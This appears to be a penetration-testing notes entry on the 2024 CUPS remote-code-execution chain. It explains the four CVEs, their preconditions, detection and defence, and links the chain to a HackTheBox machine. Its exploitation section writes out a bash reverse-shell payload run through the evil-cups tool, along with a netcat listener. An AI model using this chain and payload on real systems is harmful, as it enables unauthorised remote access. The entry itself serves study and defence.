CUPS chain (CVE-2024-47176)
In late September 2024 a chain of four CUPS vulnerabilities (Common Unix Printing System, the standard printing system on Linux and other Unix) was published that, combined, allow unauthenticated remote command execution. CVE-2024-47176 is the entry piece; the other three complete the path to RCE.
The four pieces.
- CVE-2024-47176 (
cups-browsed). Thecups-browseddaemon listens by default on UDP/631 and processes incoming IPP packets without authentication. An attacker sends it a packet ordering it to query a printer hosted at an attacker-controlled URL. - CVE-2024-47076 (
libcupsfilters). When querying that remote printer's IPP attributes, the library does not validate what the attacker's server returns. - CVE-2024-47175 (
libppd). Those unsanitized attributes are written verbatim into the new printer's PPD file, allowing injection of arbitrary directives, among themFoomaticRIPCommandLine. - CVE-2024-47177 (
cups-filters). Thefoomatic-ripfilter runs the contents ofFoomaticRIPCommandLineas a system command when a print job is processed.
The caveat that matters. It's not an instant RCE: the last piece only fires when something is printed on the malicious printer, so in practice you must trigger a job (e.g. a Print Test Page from the web console). Also, the command runs with the print process's privileges, usually the lp user, not root: hence a second stage of escalation or credential hunting is often needed to reach root. Impact should be presented with those conditions, not as instant root.
Practical exploitation. Exploits such as evil-cups (by IPPSec) automate the whole chain: they stand up an IPP server, send the UDP packet to the target's cups-browsed, serve the malicious printer with the desired FoomaticRIPCommandLine, and wait for a job to trigger it. The typical payload is a bash reverse shell.
Exploitation
nmap -sU -p 631 <ip> # confirm cups-browsed listening on UDP/631
git clone https://github.com/ippsec/evil-cups; cd evil-cups
pip3 install -r requirements.txt
# arguments: <lhost> <ip> <command>
python3 evil_cups.py <lhost> <ip> "bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'"
nc -nlvp <lport> # then trigger a job (Print Test Page) on the new printerHow to detect it. The entry of the chain is UDP/631 traffic to cups-browsed from an external source, ordering it to query an attacker-controlled URL: any unsolicited inbound IPP packet to that port is suspicious. On the host a new printer appears pointing to a remote URL and a PPD file with the FoomaticRIPCommandLine directive. Execution triggers on print: foomatic-rip/the print process (user lp) spawning sh/bash as a child (auditd/Sysmon for Linux) is the proof, followed by an outbound connection. A PPD with FoomaticRIPCommandLine containing a shell command is the on-disk signature.
Defence. Update cups/cups-filters/libppd. If network printing isn't used, disable cups-browsed. Filter UDP/631 so it isn't reachable from untrusted networks, and make sure cupsd doesn't expose administration without control. Related to command injection (the injected directive ends up running in a shell) and, on EvilCups, the secret leakage via print jobs used to escalate.
Machines where it's used
- EvilCupsHackTheBox